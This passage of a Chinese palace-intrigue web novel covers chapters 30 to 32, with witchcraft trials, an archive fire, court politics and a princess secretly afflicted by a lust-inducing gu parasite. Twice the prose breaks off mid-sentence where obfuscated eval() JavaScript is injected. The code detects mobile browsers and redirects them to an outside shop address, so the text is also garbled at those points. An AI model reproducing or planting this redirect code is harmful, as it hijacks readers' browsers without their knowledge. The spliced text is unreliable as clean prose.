她听见门外有响动,连忙将被自己踢开的被子扯到身上,整个人埋入了被褥之下的黑暗湿热。 “长平?张永一说你不太舒服?” 沈磐应一声:“没事,就是有点累了。” 辛翩翩走到床边,“要不要吃些东西?吃完了再休息。” “我想先睡会儿。” 辛翩翩只能收回刚伸出去要扒拉她的手,“好吧,人就守在外面,你醒了就叫她们。” 沈磐紧咬牙关。 ** 再见到沈磐,已经是第二日的清晨,辛翩翩扶她上的马车,她整个人都裹在巨大的裘衣风帽中。张永一只在某些瞬间看到一眼,她似是比昨日还要憔悴,成了纸叠的一个娃娃,风吹得再烈一些,她便会飞走。 回城的路更漫长了,一天半的路却如同过了一整年。 一整年的煎熬,在马车抵达通化门时冲到了顶峰,由太子扶住的那只属于沈磐的手在午日耀光下白得透骨,恍如一只琉璃杯转瞬摔在石头上。 他的心好像也磕了上去,磕掉了一个角。 张永一只能看着沈磐远去。 想起那天他们的对话,他早就被太子调离了公主府,却在她心底来去自如,如同一阵风。 “公子,该回家了,长公主很想你。” 张永一收回视线。 义然脸色为难,“明后两天,长公主想约郭家人见个面,问公子你哪天得空。” 他想到义然说,他曾是个如何果断的人。 那夜怀着活命至今积攒的勇气找沈磐要一个说法,不,是去求一个说法,他应该就如义然说的那样,当断则断,断了,就不会有这么多伤春悲秋与魂牵梦萦。 可今天只是看见沈磐的一只手,就想见自己的心口汩汩血流。 怎么断呢? 嵇阑都要入主公主府了。 张永一深吸一口气。 陈王即将就藩,霍家心有不甘,如此关键当口,他却还想着儿女情长。 怎么断呢? 既然没有办法,那就先放着吧。 不是说情浓抵不过年久?他还不知道情如何而浓,等他弄明白了,或许这些心结自然就解开了。 “都没空,你帮我回绝祖母吧。” 义然伸手拦他,“公子!” 张永一叹道:“是正事——那个师婆还在京兆府么?” “应当还在的吧?牛马巷没有她的踪迹,她还能躲到哪里去呢?” “盯死她,如果京兆以偷窃论罪,她应该很快就会无罪释放,京兆总不能无理看押——” 义然困惑:“公子你这么上心,是出事情了吗?” “恐怕会出事。” 然后就出事了,抚远伯之子何仁亶豢养西南巫师在家中大肆养蛊,被家中奴仆以“图谋不轨、危害皇权”的举报告到了京兆府。涉及巫蛊不得不慎之又慎,京兆尹窦凯旋亲自领人前往抚远伯府探查,却发现何仁亶“畏罪自杀”。 人赃并获。 于是,那个在京兆狱里不知所踪的师婆再次重枷入狱。 这天夜里,化隆城下了初雪。 30. 第三十章 荒山冢(三) 沈磐做了一个梦,但不知为何她浑身一震,突然就醒了,一清醒,梦中情景就如转瞬云烟,霎时间忘得干净。 她没睁眼,也睁不开眼,但还是能感觉到桌上那盏灯“哗”的一下子闪没了影子。她顿时慌了,连忙伸手要接,却不知为何只抓到了冰凉的桌角后的一片衣角。 “唉,当心啊。” 沈磐松手,嵇阑这才将打翻的灯台重新扶正,端回了书案上。 “你怎么来了?” 嵇阑起身,将食盒拎到桌上,“公主您现在真是体弱多病,臣真怕哪天没注意,您就给撅过去见阎王了——呐,听说你闻了荤腥吃不下饭,团圆她们就准备了清粥小菜,再怎么没胃口,好歹也吃几口体谅体谅她们的心意。” 沈磐揉揉突突直跳的太阳穴,“以前瞧着你生得斯文俊秀,没想到说起话来这么痞气。” 嵇阑嗤笑,在窗边矮塌上盘腿坐下,一撩袍角无奈道:“谁不想当谦谦君子呢?奈何事不遂人愿。” 沈磐端了热粥初尝一口,肠胃是暖了,心却如食盒一样冷落起来,“何家出事,旧公侯又要裁剪羽翼了。” 嵇阑晃晃小几上的空茶壶,“公主以为何家为何分封‘扶远伯’?” “他们是西南氏族,升平朝招抚入京。” 嵇阑笑道:“那时候他们就是旧侯眼中的新刺头,和而今的霍氏新侯没什么两样,这几十年来,哪怕是权力纷争愈发激烈,他们身份特殊,旧侯再不景气,也不愿意真正认可他们。而非我族类其心必异,新侯也看不上他们。所以啊,他们既不属于旧侯,也不是新侯,骑墙之地,外人瞧着最稳妥不过,但究竟是什么摇摇欲坠的滋味,只有他们知道。” 沈磐夹了一筷子佐菜,“‘身份特殊’,是有什么渊源吗?” 嵇阑又蹲到炉边烧水,顺便将快灭掉的炭盆拨得更旺,“前朝诸王党争,先帝第三子魏王落败后,就属赵王和吴王斗得最狠,吴王的母妃出身西南,这何家入京封侯,就是给他撑场子的。而他们这帮人呢,行事嚣张,得罪过不少人,而今的扶远伯何施文当年是个次了又次的选择,是他前面的哥姐全都搭进了这样那样的事故,这才有了他的故事。而且啊——” 嵇阑慢吞吞起身走到沈磐桌边,压低嗓门道:“西南之地多巫术,若说阳安伯那有贼心没贼胆的窝囊废搞巫蛊我会怀疑是不是有人暗中操作,但他们何家,我是坚信不疑。” “吃饱了撑的。” “谁说不是呢?”嵇阑耸肩,“太平日子过久了,总是想找死。不过出了元良郡王之事,他们也该收敛一些了,如何会随随便便就被人检举告发?” 沈磐放下调羹,“灭一个扶远伯又伤不到旧侯势力,他们图什么?” “图太子。” 沈磐垂眸,搅着残粥,“何家出了大事,那帮助阳安伯外室行巫蛊的师婆再次锒铛入狱,京兆府怕惹事上身,便不打算包庇阳安伯。但连续出现了两起公侯间的巫蛊案,岂不要火烧眉毛,阳安伯之事上京兆府反复无常,如何能撇干净?” “还有,那师婆我也盯着,一出京兆狱就无影无踪,何家前脚出事,她后脚被抓,若不是她躲在何家,京兆府竟能这么神通广大,那从前的陈年旧案应该都能了结了吧。” 嵇阑替她叹息,“公主在想,这破绽百出之中,他们如何牵连上太子?” 沈磐定定看他。 “公主没听过么,西汉武帝末年,巫蛊泛滥,佞臣江充蒙蔽圣听大肆勾连,先是小鱼小虾,再是虾兵蟹将,最后便挖到龙宫太子头上,终至皇后自杀、太子自尽。只有千年做贼的,没有千年防贼的,城池修得固若金汤,也抵不住从里头腐烂。” 沈磐扶案起身,“你说得都很对,但只有一句话——” 嵇阑依桌抱臂看着她,“哪一句?” “蒙蔽圣听。” 嵇阑的心咣当一声掉在壶里。 “武帝真的是被蒙蔽的么?”沈磐摇摇头,“太子既立,何故又出尧母之门?佞臣面圣轻而易举,奈何皇后太子不得相见?五十年开疆拓土、五十年横征暴敛,百姓必定要休息的,可休养生息的政令当由己出,而不是太子。一个朝廷不能有两套截然相反的班子,太子固然敦厚沉静,但他日执政,武帝这五十年的功过之下的晚节便彻底无果,他不仅会失去荣耀,还会被后世鞭笞。他那么骄傲,怎会允许?” “公主,你想得太过了,有的时候事情就是很简单,毕竟……虎毒尚且不食子。” 沈磐直视嵇阑的撼动,“但是权力会。” 她上前一步,“你看,太子兵败,清算之时死了三批人,太子的人、要杀太子的人,还有作壁上观的人。朝廷都死干净了,然后就有归来望思之台,顺理成章就有了轮台罪己,立早就内定为储君的昭帝,给后世国政定了调子。于是后世所有的辉煌都源自于他的反思,后来所有的荣耀都要奉其为宗祖,生前他是统御四海的九五之君,身后还要当流芳百世的千古一帝。” 一瞬。 两瞬。 三瞬。 嵇阑开口道:“但陛下已经答应让陈王就藩。” 沈磐凝望瞬息,不禁自嘲:“是啊,所以霍家心有不甘,也打算再唱一出巫蛊之乱。又或者,这本就是元良之案的延续,醉翁之意不在酒,元良之案本就是为了现在做的铺垫。” “但尽人事,乃知天命,不需过分苛责自己,救不了他们,从来不是你的过错,你已经尽力了,有时候这些结局就像是承天殿前的台阶,因为他们是台阶,这个王朝最森严、最崇高的殿宇前的台阶,所以长宽几何、数量多少,这都是注定的。” 沈磐挑眉,“嵇阑。” “嗯?” “原来你也是个老好人。” 听得此话,嵇阑一愣,缓了许久,等沈磐都已经慢吞吞走向炉子,捏着抹布要去挑那已经烧得沸腾的茶壶,他这才苦笑:“我还从没听过这样的说法。” 他上前,抢在沈磐前面将茶壶挑了起来,这才看清沈磐脸上的嘲弄。 “嵇阑,这天命就是,只允许他们害我,而不许我害他们么?” 嵇阑斟茶,“公主,这不是天命,这是人事。” “尽好人事,知恶天命。” 他直起身,回看笑意怆然的她,“公主,你还在发烧。” 沈磐笑道:“霍家的把柄也屯了不少吧?” 知道她心里的主意,嵇阑顺势道:“说到这个,我想起来了,我今夜来是想和公主说,我叔叔那里或许有霍辄的把柄。” 沈磐在榻边坐下,“稀奇了。” “不稀奇不稀奇,他这么多年都对霍辄不满,会想到去搜罗他的把柄情理之中。”说着,嵇阑重新舒舒服服地坐下。 “霍家是烂人堆,唯有霍辄是一筐果子里唯一没烂的那个,陛下看得起霍氏,大抵是看得上霍辄。” “公主透彻,那公主可知道,霍家这筐果子是从哪棵树上摘的吗?” “逆王。” “公主洞明。” “有话快说。” 嵇阑给她捧茶,“升平年间霍家犯的事不少,又扯上了逆王案,该杀的杀,该剐的剐,霍辄这一支偏了又偏,就被流放西北,后来永济当朝西北起了战事,霍辄便顺理成章建功立业、风头无量。可他是罪臣之后,罪臣之后不得从军为官,他又是如何攒下赫赫战功的呢?” “朝廷不拘一格,守将唯才是举。” “伯乐不常有而千里马常有,边关为何要顶着杀头的风险举荐他,而不举荐稳稳妥妥的其他人呢?” 沈磐微眯眼。 “当年霍家犯了什么事情我不清楚,但有一条,他们手上也有一些蛊、一些毒——” 见沈磐目露质疑,他道:“我叔说的。” “那时候云仑将军帐下的副将叫胡廷槐,他爹就是在南海道布政使任上激流勇退的胡全德。人人都说他是个关系户,但这个关系户就没怎么打过败仗,尽管边将都不怎么服他,但还是唯他是从。霍辄呢,很得这个胡廷槐的赏识,被带着打了几场小战赎过罪,便留在胡廷槐身边当他的佐官。” “我记得,胡廷槐很早就战死了。” 嵇阑摆手,“不是战死,是暴毙。一场交战他们难得大获全胜,斩首数千,可领军之将胡廷槐却突然暴毙,霍辄冒领他的军功,由此入了云仑将军的眼,扶摇直上。” “暴毙?” 嵇阑扬眉,“这可不简单啊。” 沈磐皱眉:“别绕圈子。” 嵇阑即刻投降,“那些刀山火海拼出来最瞧不起走捷径之人的边将,如何会被胡廷槐驱遣?他爹胡全德的后台再硬也没硬几年,他如何在边疆混得风生水起?他是有些本事,但在边关,这些本事根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997211|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不够看。” 沈磐一抬睫的功夫就有了猜测,果然,嵇阑说到:“因为他手上有毒、有蛊,东西是怎么来的不知道,但他手上的蛊虫逼着那些人对他俯首帖耳。这就解释了,后来霍辄堂而皇之冒领军功,其他将领却只字不提——” “霍辄继承了胡廷槐的蛊毒?” “不!” 嵇阑目露凶光。 “他拿住了胡廷槐驭人的良方,却将其付之一炬、解了所有人的蛊。” 书房内安静片刻,他目光深远,喟然叹息:“他拿住了人心,那些人自然唯他是从。” 说着,他笑出声:“所以啊,冒领军功这种把柄,真不知道怎么去用呢。” 沈磐又陷入沉默,等到杯中茶水都凉了,她这才抬头,“霍家手上有蛊毒。” “是,公主想以此检举他们?”他摇头摇得坚决,“没可能的,那些人早成了霍辄的心腹爱将,随霍辄发家,封侯的封侯,为将的为将,他们不可能会背叛霍辄。” “那霍家的其他人呢?霍开武呢?” 嵇阑一怔。 “你见多识广,有没有什么蛊虫能催情?不行事便会痛不欲生。” 他愣愣道:“有是有的,牛马巷里不少妓馆就有,定植女体,多以男子阳精为食,不□□时便会啃噬血肉……但大多是不会轻易用的……” 言及此,不知又联想到什么,嵇阑大惊失色:“公主,你该不会……” 沈磐目光沉郁。 嵇阑连忙压低声音连连要问,却被她冷冷打断:“有就好,不用管霍家以外的人有没有。” “公主!”嵇阑略有些失态,“这些东西凶险得很,万不可轻易尝试——” “不必尝试。” 嵇阑倒吸一口凉气。 他心里有了答案。 她是打算把自己都搭进去,只为了以蛊制蛊,以报还报。但这一切的前提是,这世上会存在公正的裁决,而如今的陛下绝对拿不稳这把戒尺。她可以对付霍开武一人,但怎能妄想借着陛下的手去颠覆霍家这样的庞然大物? 她都明白的,这才会有方才“虎毒食子”的言论。 见沈磐还一副从容自若的模样,嵇阑无可奈何,只在书房里的气氛冷至极点前用寡淡掩饰自己心中的涛浪,“什么时候?” 沈磐也不隐瞒,“慈悲寺那天,他请我喝酒。” 嵇阑攥拳,“以后我会把他阉了。” 忽然,沈磐低头笑了,“你可真是个大好人。” 嵇阑皱眉。 “谢过你代劳的好意,但这种事,还是我亲自来比较妥当。不过有件事,我得拜托你。” 嵇阑静静端详她。 沈磐勾唇:“放心,只是让你帮我找找解药,把事情烂在肚子里,别让东宫知道。” 嵇阑这才移开视线,沉闷道:“没有解药,过个一两年自然就好。” “当真?” “蛊虫种类繁多,至少我知道的那一两种是这样的——其实只要头一次发作熬住了,蛊虫吃不到东西自然就饿死……” 嵇阑忽然就止住声音,因为他捕捉到了沈磐脸上转瞬即逝的震惊。 “继续说。” “没熬住,要么堕落,要么苦撑,但蛊虫吃不到别人的阳精,那就只能吃你的身体,就看谁熬得过谁,只是……” 说着,他目露不忍。 只是,会死啊。 正真意义上的被掏空了身体,然后撑着一幅空皮囊等死。略想一想便知道,这世上没几个人能忍受这样的痛苦。 还有更残忍的他没说,但沈磐敏锐,似是一眼看出了自己有所隐瞒,便威逼问:“只是什么?” 嵇阑叹道:“人的嘴巴会刁,蛊虫也会,所以最好还是同一个人,这样缓解的效果会更好些。” 沈磐微垂头玩笑:“这倒是让负心薄性之人‘从一而终’的好东西。” 难得,嵇阑不接她的玩笑。 沈磐道:“算了,这件事就到此为止,他们敢弄权巫蛊,就一定会有破绽——” 嵇阑没来得及想沈磐这突然的松口根源何故,忽然就听书房外团圆扣门,“公主,有要事禀报。” 沈磐起身走了过去,亲自拉开门,“怎么了?” 团圆脸色惨白:“京兆法曹失火。” 夜雪飒飒落。 31. 第三十一章 荒山冢(四) 雪霁太阳出。 小吏低眉瞬目小跑到京兆尹窦凯旋身边耳语几句,得到了窦凯旋的准许,不多时,小吏便从大敞的偏堂外引入一人,身后跟着两名长缨卫千户,堂内众人一见来人,顿时都起身河蚌似的闭上嘴。 甲胄在身的张永一朝正坐在上首的窦凯旋略施一礼,这才能注意到站在一旁脸色铁青的工部尚书薛正衢。他朝薛正衢行礼,不忘见过品级高过他的刑部侍郎阮折纭,这才与跟他平级的大理寺少卿萧蘋和左佥都御史李闻达颔首示意。 这是他第一次代表东宫登堂入室,礼数不能错上一点。 窦凯旋起身,命人上茶,“而今太子殿下监国,张佥事既奉太子令问询此案,便请上座。” 张永一沉默地走到他右手边摆着的那把椅子前站定。 窦凯旋不管这年轻人的谦恭,重新坐了下去发话:“继续议。” 待薛正衢也落座,张永一这才坐下。 “张佥事应当还不知道事情始末——”窦凯旋转头叫住最末坐着的那名书办,“你把事情完完整整地说给张佥事听。” 那书办颤巍巍起身,“昨夜京兆狱失火,架格库也被波及,一份涉及阳安伯府巫蛊案的口供被毁。经目击者彭志检举,这把火是本府司法参军岳筑璜岳大人的长随楚鹏恶意放的,今晨逮捕楚鹏,楚鹏招认正是岳大人指使,且他曾听见岳大人与薛尚书的王管家阴私密谋,是要想办法给阳安伯府脱罪。小人所说,句句皆有案可寻。” 张永一按捺着心中惊骇,听窦凯旋道:“今日午后,本府依律逮捕原司法参军岳筑璜,并传薛府管家王必大至府接受问讯,王必大闻风而逃,本府最终在扶风郡界将人逮捕……” 终于忍受不了的薛正衢插话:“他是按照老夫的命令,今早前往郊外庄子查账,此番行程数日前就有了规划,家中尽人皆知,绝非临时起意,更非所谓的‘闻风而逃’!” “薛尚书,本府言有差错还望恕罪,只是,现在正与张佥事叙述案情,尚书大人还是莫要着急打搅的好。” 窦凯旋向张永一继续道:“薛尚书来我府,是为了管家王必大所谓‘无辜被捕’之事,并非本府胆大包天提尚书大人过堂审问,还望张佥事在太子殿下面前陈情。” 张永一叉手示礼,顺便将临走前太子的主意换过语气说出来:“实话实说,这是一定。只是末将听闻此案已牵扯朝廷官员,依《大楚律》理应移交三司,至承天殿上论过。” “这是当然,所以本府今日请三司属官前来了解情况,走完流程便会将案件一并移交,张佥事敬请放心。” 得到了准信,张永一便点点头,安静地听堂中质疑声起。 阮折纭这个刑部侍郎列正三品,比窦凯旋这个京兆尹还高上一头,他首先问话:“阳安伯府巫蛊之案,本官从未听说,还望窦大人详解。” “阮侍郎明鉴,本府也是在抚远伯之案后将将知晓,原来阳安伯府的家贼盗窃案实是掩人耳目之说,有楚鹏的供词证明,此案就是岳筑璜设计,用来帮助阳安伯府脱罪的。” 大理寺少卿萧蘋接着问:“能否详说,岳筑璜是如何设计的,以至于府尹大人都能被欺瞒?” 萧蘋话中的诘问意很明显,窦凯旋不怒,底气也足,不着急解释,而是起身朝众人欠身,“这的确是本府的疏漏。岳筑璜是跟在本府身边十年的司法参军,本府从前对他尤其信赖,实在没想到他居然能犯下这样的重罪。待此案了结,本府就会入宫自劾,以此为诫,再不会胡乱用人。” “府尹大人还是讲讲案情吧。”萧蘋催道。 窦凯旋叹气懊恼,叫出身边侍候的又一名书办,“你说吧。” 这书办朝众人行礼,“回禀诸位官爷,上月本府接到报案,报案的是羊车巷刘府的奴婢鹿儿,据此女所说,初夏时节阳安伯在羊车巷隔壁的宅院里养了一位外室蒋小娘,蒋小娘向岭南师婆阿疯请教厌胜之术,特意扎了小人诅咒阳安伯夫人。此事为阳安伯夫人的眼线知晓,伯夫人便登门闹事。师婆阿疯、伯夫人登门俱为她亲眼所见。” 那书办咽了咽口水,继续往下说:“阳安伯为了此事前往本府疏通,只以家贼盗窃之事陈述案情,府尹大人着令原司法参军岳筑璜详细核查。但事先,阳安伯就与岳筑璜互相串通,更向鹿儿的主家刘财主说情,故而一拿到办案授权,岳筑璜即刻逼迫鹿儿改口,婢女鹿儿受到主家施压当堂反水,但是外室蒋小娘对伯夫人积怨已久,死活不肯改口,于是岳筑璜多次私密闻讯蒋小娘无果,将唯一一份不合时宜但过了明路的口供锁入架格库,让楚鹏以证据不全需继续调查案情为由,将本案拖拉数日,直到上月末蒋小娘滑胎病死,才以‘家贼盗窃’结案。” 佥都御史李闻达看向面不改色的窦凯旋插话道:“既然成功结案,岳筑璜为何不在蒋小娘死后,即刻毁坏口供,一定要拖到现在?还放了这么一把大火,更让人抓住了把柄?” 窦凯旋解释:“诸位有所不知,本府的架格库,只在初一和十五两日开放,蒋小娘的口供刚好是十五那日混入的架格库。” 阮折纭:“这倒是闻所未闻的规矩。” 李闻达又问:“那为何本月初一,岳筑璜不动手?” “近来无案,且少有人进出架格库,库中都是已经了结的陈年旧案,若是过于急切露了马脚——”窦凯旋摇头,“岳筑璜一直都是十分有城算的人,他不会这么莽撞。” 听到现在,张永一心中谜团迭起,奈何他不能随便说话,只能继续平息着心里的焦躁,听他们挨个问。 萧蘋:“这把火不小,半个京兆狱都点着了,那么又是如何确定,蒋小娘的口供没有在火中付之一炬,而非早先所说安然藏在其他案卷之中?光凭楚鹏的口供?只要尚有一丝脱罪的希望,他如何会主动说起这份口供?是诱供吗?还是严刑逼供?” 窦凯旋霍然站起,“萧少卿慎言!” 这时候薛正衢也说话了,老爷子明显动了真火,“窦大人,那你为何不愿让岳筑璜和楚鹏与老夫当面对质?王必大被抓,老夫合理请求探监为何被拒?” “本案复杂,即将移交三司,尚书大人更牵扯其中,本府不敢让人犯有失,尚书大人当理解下官。” 薛正衢气血上涌,萧蘋连忙继续逼问:“窦府尹,回答本官的问题。” 窦凯旋击掌两声:“正好,让人呈上来吧。” 书办退下,片刻即捧盘而归,盘中放了一角火烧残页,上头写的正是蒋小娘的画押。 窦凯旋的视线逡巡堂内每一个探头观望之人,“真是极大的巧合,可见老天有眼,不欲使恶人逃脱、真相蒙尘!” ** “张佥事留步。” 张永一驻足,回头就见工部尚书薛正衢缓步追来,他即刻折返,弯腰垂首倾听,“尚书大人有何见教?” 薛正衢出一趟京兆府,就如同一霎那苍老了三十岁,他本来就有了年纪,这一下更衰老得有如风中残枝,像极了年初的崖然。 “张佥事自东宫来……太子夫妇可还好?” 触及薛正衢眼中的柔软脆弱,张永一顿时想起太子妃薛元映得知老父亲往京兆府时的骇然焦急。为防言官议论,他们父女两个一年到头只能在千秋节、岁末宫宴和皇孙生辰宴上见面,寻常时候更是连书信都不敢多通。薛正衢生怕给女儿带来广涉前朝、联络娘家的非议,薛元映则怕东宫的事端牵连上自己鲜有争心的老父。 临行前,太子妃说这个节骨眼上薛正衢莫名前往京兆府,恐怕是他在京兆府里供职的学生岳筑璜出了差错,岳筑璜是他的爱徒,他必然着急得心煎。 她的预感果然灵验,非但是岳筑璜出了差错,通过岳筑璜与薛正衢的一番师生恩义,恐怕东宫都要下水。毕竟这个时候无端挑事,只能是剑指东宫。 张永一斟酌词句,诚恳道:“太子妃很担心您。” 薛正衢叹气,这气一叹,整个人都似失了精神,他双目迷茫,口中喃喃:“是我给她添麻烦了。” “尚书大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001063|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,太子妃是真的牵挂您的安危,这样的话她听了,必会伤心。” “那便请张佥事不要告诉她。” 张永一口中含苦。 薛正衢垮着精神不知想了什么,抬起头望向他时,满目都是祈求,“还望张佥事帮老夫传个话。” “您且讲。” “让她不要操心了,这些事我会处理好的,必不会连累东宫。” “大人!” 薛正衢微微摇头,制止张永一神色里的不忍,“这就是个局,在咱们这位陛下这里,遇上‘巫蛊’二字便是无解。今日能攀扯上筑璜,明日就会说老夫是幕后主使——不,他们已经这么说了,但还有后日啊,化隆城里的人情往来复杂如网,天知道后日还会扯出什么人?事情到老夫这里就该有个了断,以免伤及无辜、遂了贼人心愿。” 张永一低头,难掩哀求,“大人,有什么事情可以和太子、太子妃一起商量,千万不能拿自己的性命冒险……” 薛正衢却忽然看着他笑,欣赏有,更多的全是苦涩,“你还太年轻,太不会隐藏自己,这样很不好。” 张永一心一紧,攥着双拳,眼看着薛正衢,这个算是他爷爷辈分的老人朝他叉手一礼,“多谢张佥事了。” ** 张永一回来时,就听见了常年深居简出、不论时局的梁国长公主这么斩钉截铁地给此案定了结局:“何家,谋反之罪,不容置喙了。” 张八郎道:“仅仅是养蛊就定了谋反,这会否……” 梁国长公主叹气:“蛊,就是巫蛊,但凡沾上这个东西,谁能善终、谁允善了?年初才闹了元良这一档子事,满朝文武和他唱反调,现在陈王就藩,陛下心里极不痛快,他又是个敏感多疑的人,这个时候谁要驳他,谁就要遭罪。” 张八郎耷拉眉眼,“我听说梅阁老极其反对如此轻率定案,毕竟三司都没审过,光凭着陛下在五柞宫的一纸诏令,恐令天下不服。梅阁老为了陛下声名计,打算写了折子呈送到五柞宫,劝陛下三思。” “一年之内,王侯贵戚连灭两门,化隆城里人人自危。但是,陛下的心比铁还硬,又在气头上,根本不会听的,梅阁老贸然建言,必定会吃亏。” “梅阁老也是为了陛下、为了朝廷、为了百姓好。” “独独没有为了他自己、为了他梅家后人!” 两个上了年纪的人都不禁垂头丧气,忽然听屏风后张永一刻意放重的脚步声响起,两个人又一齐绽出了笑容。 “络儿回来了?” “给祖母、叔祖请安。” 梁国长公主笑问:“是得了休沐日子了吗?几天?” 张永一不敢看祖母的期待,只低头闷闷答:“没有,孙儿今日回来,是因为接下来应当都要宿在卫所。” 不用看,只听也能听见梁国的失落:“络儿辛苦了……那今天我叫人好生准备一顿饭,给你好好补补……在卫所吃不好、睡不好……你人都憔悴了……” 张永一不知道自己是怎样从愧疚与心疼筑就的牢笼里逃出生天的,一出房门,张八郎就叫住了他,就这样突兀地直接问他:“络儿,你心里是有人了吗?” 张永一霍然抬头,就见张八郎静静看着自己。 他连忙错开眼,“叔祖……您为何突然……这么问?” “与郭家的见面一拖再拖,再有你近来总是魂不守舍的。” 张永一沉默。 “你还年轻,什么事也藏不住。若真是如此,你早些与你祖母说清,她是真心希望你能有个好归宿,若她知道自己成了棒打鸳鸯的王母、将来铸成大错,那时候她……” 张八郎不忍再说,只嘱咐道:“在卫所不比在家,你好好照顾自己,近来朝中事多,非有必要不要介入,我知道你从小在道理是非上锱铢必较,这些年有所顾忌,便也沉稳不少,但外敛而内愈炽烈,这些事情压在心里,千万不要把自己困住了。” 张永一沉默敛容,目送唉声叹气的张八郎离开。 32. 第三十二章 荒山冢(五) 他沉稳了吗? 和业已华发早生的梅依径比起来,他确实沉稳了。 苦劝不住,左都御史、内阁第二号辅臣还是带着乌泱泱的风宪官,给远在五柞宫的陛下上了一道奏疏,言明草率定案、乱判谋反之举十分不妥,恳请陛下将案子移交三司会审云云。 这是连张永一都看得明明白白的命定之局,梅依径偏要暴虎冯河地改。 然后京兆狱里就传来了抚远伯世子、已经“畏罪自杀”的何仁亶的哥哥何仁广认罪自杀的消息。 义然回来和他说,尸体从地牢里抬出来时,血流了满地。 白雪堆里的鲜血总是刺眼的。 分明在东北,他们见过更加刺眼的红与白,义然却被这趟见闻刺到了心。从不做噩梦的他做了噩梦,把张永一吓了一跳,以为他也中了什么乱七八糟的巫蛊。 他们两个人对着值房里的一盏灯,一直沉默坐到了天明,坐到了长缨卫衙门外吵嚷地呼啸过一帮人,听属下说,是锦麟卫从京兆回来了,把抚远伯何施文按照陛下的意思,收押到了诏狱。 张永一和义然对视一眼,正好此时那盏灯,不堪初晨凉意,“嗞”地一下子蹿灭了,连最后一缕烟都吹散在风中。 彻底的,尸骨无存。 张永一收拾了形容出门,沿着漫长的宫道往东宫的方向走。 他要横穿外城。 行至东直门甬道,忽听六科廊里的给事中议论纷纷,有义愤填膺者梗着脖子拉着察院的御史要进宫,要去找首辅冉琢明理论,乍然见自己穿着十二军卫的甲胄,一改往常的谨小慎微,神情反倒更狠恶,居然径直朝自己走来,仿佛自己与他有着不世之仇。 “阁下是长缨卫?”他再度确认道。 张永一退身一礼:“这位大人有何见教?” 他气势汹汹问:“昨夜梅阁老莫名其妙重病卧床,刚刚宫外递来消息,说是梅家人连后事都开始准备了,咱们的东宫太子可知道了?” 张永一收敛着心里的震惊,稳住嗓音客气回他:“我会将大人的话原封不动转告太子殿下。” 像是一拳打在了棉花上,这名年轻的给事中觉得心中憋闷,但见张永一脾气软好说话,他不顾同僚的劝阻,又揪着张永一忿忿道:“梅阁老是为了东宫遭了这样的灭顶之罪,太子殿下还要继续龟缩吗?还要为了所谓的脸面、体面!和那些人虚与委蛇吗!” 向来激进的御史听了这话都忍不住摇头叹气,遑论张永一。 皇宫大内,他们就敢这么直接地向太子叫板,美名其曰是为了太子办事。可他寻思着,何家养蛊也不是太子指使,梅依径如何就成了太子的替罪羊?他们这么嚣张地打着东宫的旗帜行走朝堂,定要坏事。 张永一敛眉以示不悦,“那些人是哪些人?请大人明示。” 没想到千年王八会咬人,这给事中被顶得气短胸闷,瞪着还嘴的张永一说不出话来,只戬手指着他,愤怒威胁意十足。 张永一微颔首,正要走,那给事中拽着他的护腕不撒手,嚷嚷着一幅不肯罢休的模样,突然,他们就见东直门甬道上走来几人,同僚拍掉他揪着张永一不放的手,低声不断提醒:“陶寺卿!陶寺卿来了!还有两位梅侍郎!” 抬眼看去,慢吞吞拄着拐杖的大理寺卿陶识礼后面有一对形容颇为相似的男人并肩走着,俱是三品侍郎服色。张永一知道,他们是梅依径家那对双生的亲侄子,一个供职户部、一个就职礼部,粗粗打量,身态性情不说一模一样,也是真真假假一时难辨的地步。或许因此,礼部侍郎梅洐特意留了胡子,他又是哥哥,乍一看,终于比户部侍郎梅沸更加沉稳。 “这是在做什么?” 那给事中松手,不得已放开了张永一。 这时的陶识礼极有威严,眼神锐利扫过张永一时,连他这个行伍中人都如被中伤。他叉手一礼,一言不发即要告辞,却被户部侍郎梅沸叫住。 “张佥事,借一步说话。” 陶识礼带着梅洐驱散了人群,径直往东长安门走,梅沸这才低声道:“张佥事,叔叔让我带话,还望佥事转呈太子殿下。” 张永一欠身,“但说无妨。” 梅沸叹气,眼睛却炯炯亮:“人吃五谷,哪有不病的?叔叔上了年纪,这病得就更重些,但绝无半点阴谋诡计。叔叔说,这次是他冲动了,给殿下添了麻烦。” ** 义然见,轮值完自东宫出来的张永一脸色不好,连忙上前问:“出什么事了吗?” 张永一摇头。 义然笑道:“外头出了几件事,算是可喜,公子你在东宫听说了吧?” 张永一苦笑:“何家抄斩么?” 义然也品出了张永一的灰败,语气里的喜气也淡了不少,“是府军卫指挥使宣钦,被察院弹劾吃空饷,现在一薅到底,戴罪在家了。还有永昌侯之子胡允樟,被御史弹劾贪污了紫微宫修整的拨款,也被内阁问责了。” 张永一扯一个笑给他捧场,“挺好。” “梅阁老的身体也有所好转了。” 张永一眼光微动,“很好。” 义然担心道:“东宫是不打算追究这件事情了吗?梅阁老病得这么突然,尤其是在抵牾陛下之后——” “义然。” 义然缄口。 张永一却继续说:“现在所有的文官,几乎都想追究,都要为梅阁老鸣不平。越是这样,太子殿下越不能插手,子要和父斗,有违人伦孝道,臣要和君抢,这是自寻死路。” 义然打个寒颤,哆嗦问:“真是这样吗?” 张永一仰头望天,“就是这样。” 天,是灰蒙蒙的。 